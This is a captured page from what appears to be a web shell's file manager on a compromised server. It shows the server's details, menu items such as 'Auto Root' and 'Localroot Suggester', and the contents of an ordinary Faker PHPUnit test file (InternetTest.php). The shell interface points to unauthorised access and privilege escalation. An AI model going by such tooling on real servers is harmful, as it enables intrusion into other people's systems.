Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.211
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
fzaninotto /
faker /
test /
Faker /
Provider /
Delete
Unzip
Name
Size
Permission
Date
Action
ar_JO
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
ar_SA
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
at_AT
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
bg_BG
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
bn_BD
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
cs_CZ
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
da_DK
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
de_AT
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
de_CH
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
de_DE
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
el_GR
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_AU
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_CA
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_GB
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_IN
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_NG
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_NZ
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_PH
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_SG
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_UG
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_US
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
en_ZA
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
es_ES
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
es_PE
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
es_VE
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
fi_FI
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
fr_BE
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
fr_CH
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
fr_FR
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
id_ID
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
it_CH
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
it_IT
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
ja_JP
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
ka_GE
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
kk_KZ
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
ko_KR
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
mn_MN
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
ms_MY
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
nl_BE
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
nl_NL
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
pl_PL
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
pt_BR
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
pt_PT
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
ro_RO
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
ru_RU
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
sv_SE
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
tr_TR
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
uk_UA
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
zh_TW
[ DIR ]
drwxr-xr-x
2018-07-12 09:00
AddressTest.php
1.41
KB
-rw-r--r--
2018-07-12 09:00
BarcodeTest.php
1.12
KB
-rw-r--r--
2018-07-12 09:00
BaseTest.php
19.09
KB
-rw-r--r--
2018-07-12 09:00
BiasedTest.php
2.8
KB
-rw-r--r--
2018-07-12 09:00
ColorTest.php
1.42
KB
-rw-r--r--
2018-07-12 09:00
CompanyTest.php
628
B
-rw-r--r--
2018-07-12 09:00
DateTimeTest.php
10.88
KB
-rw-r--r--
2018-07-12 09:00
HtmlLoremTest.php
761
B
-rw-r--r--
2018-07-12 09:00
ImageTest.php
2.38
KB
-rw-r--r--
2018-07-12 09:00
InternetTest.php
6.07
KB
-rw-r--r--
2018-07-12 09:00
LocalizationTest.php
1
KB
-rw-r--r--
2018-07-12 09:00
LoremTest.php
3.02
KB
-rw-r--r--
2018-07-12 09:00
MiscellaneousTest.php
1.36
KB
-rw-r--r--
2018-07-12 09:00
PaymentTest.php
7.49
KB
-rw-r--r--
2018-07-12 09:00
PersonTest.php
2.48
KB
-rw-r--r--
2018-07-12 09:00
PhoneNumberTest.php
729
B
-rw-r--r--
2018-07-12 09:00
ProviderOverrideTest.php
5.11
KB
-rw-r--r--
2018-07-12 09:00
TextTest.php
1.32
KB
-rw-r--r--
2018-07-12 09:00
UserAgentTest.php
921
B
-rw-r--r--
2018-07-12 09:00
UuidTest.php
904
B
-rw-r--r--
2018-07-12 09:00
Save
Rename
<?php namespace Faker\Test\Provider; use Faker\Generator; use Faker\Provider\Company; use Faker\Provider\Internet; use Faker\Provider\Lorem; use Faker\Provider\Person; use PHPUnit\Framework\TestCase; class InternetTest extends TestCase { /** * @var Generator */ private $faker; public function setUp() { $faker = new Generator(); $faker->addProvider(new Lorem($faker)); $faker->addProvider(new Person($faker)); $faker->addProvider(new Internet($faker)); $faker->addProvider(new Company($faker)); $this->faker = $faker; } public function localeDataProvider() { $providerPath = realpath(__DIR__ . '/../../../src/Faker/Provider'); $localePaths = array_filter(glob($providerPath . '/*', GLOB_ONLYDIR)); foreach ($localePaths as $path) { $parts = explode('/', $path); $locales[] = array($parts[count($parts) - 1]); } return $locales; } /** * @link http://stackoverflow.com/questions/12026842/how-to-validate-an-email-address-in-php * * @dataProvider localeDataProvider */ public function testEmailIsValid($locale) { if ($locale !== 'en_US' && !class_exists('Transliterator')) { $this->markTestSkipped('Transliterator class not available (intl extension)'); } $this->loadLocalProviders($locale); $pattern = '/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD'; $emailAddress = $this->faker->email(); $this->assertRegExp($pattern, $emailAddress); } /** * @dataProvider localeDataProvider */ public function testUsernameIsValid($locale) { if ($locale !== 'en_US' && !class_exists('Transliterator')) { $this->markTestSkipped('Transliterator class not available (intl extension)'); } $this->loadLocalProviders($locale); $pattern = '/^[A-Za-z0-9]+([._][A-Za-z0-9]+)*$/'; $username = $this->faker->username(); $this->assertRegExp($pattern, $username); } /** * @dataProvider localeDataProvider */ public function testDomainnameIsValid($locale) { if ($locale !== 'en_US' && !class_exists('Transliterator')) { $this->markTestSkipped('Transliterator class not available (intl extension)'); } $this->loadLocalProviders($locale); $pattern = '/^[a-z]+(\.[a-z]+)+$/'; $domainName = $this->faker->domainName(); $this->assertRegExp($pattern, $domainName); } /** * @dataProvider localeDataProvider */ public function testDomainwordIsValid($locale) { if ($locale !== 'en_US' && !class_exists('Transliterator')) { $this->markTestSkipped('Transliterator class not available (intl extension)'); } $this->loadLocalProviders($locale); $pattern = '/^[a-z]+$/'; $domainWord = $this->faker->domainWord(); $this->assertRegExp($pattern, $domainWord); } public function loadLocalProviders($locale) { $providerPath = realpath(__DIR__ . '/../../../src/Faker/Provider'); if (file_exists($providerPath.'/'.$locale.'/Internet.php')) { $internet = "\\Faker\\Provider\\$locale\\Internet"; $this->faker->addProvider(new $internet($this->faker)); } if (file_exists($providerPath.'/'.$locale.'/Person.php')) { $person = "\\Faker\\Provider\\$locale\\Person"; $this->faker->addProvider(new $person($this->faker)); } if (file_exists($providerPath.'/'.$locale.'/Company.php')) { $company = "\\Faker\\Provider\\$locale\\Company"; $this->faker->addProvider(new $company($this->faker)); } } public function testPasswordIsValid() { $this->assertRegexp('/^.{6}$/', $this->faker->password(6, 6)); } public function testSlugIsValid() { $pattern = '/^[a-z0-9-]+$/'; $slug = $this->faker->slug(); $this->assertSame(preg_match($pattern, $slug), 1); } public function testUrlIsValid() { $url = $this->faker->url(); $this->assertNotFalse(filter_var($url, FILTER_VALIDATE_URL)); } public function testLocalIpv4() { $this->assertNotFalse(filter_var(Internet::localIpv4(), FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)); } public function testIpv4() { $this->assertNotFalse(filter_var($this->faker->ipv4(), FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)); } public function testIpv4NotLocalNetwork() { $this->assertNotRegExp('/\A0\./', $this->faker->ipv4()); } public function testIpv4NotBroadcast() { $this->assertNotEquals('255.255.255.255', $this->faker->ipv4()); } public function testIpv6() { $this->assertNotFalse(filter_var($this->faker->ipv6(), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)); } public function testMacAddress() { $this->assertRegExp('/^([0-9A-F]{2}[:]){5}([0-9A-F]{2})$/i', Internet::macAddress()); } }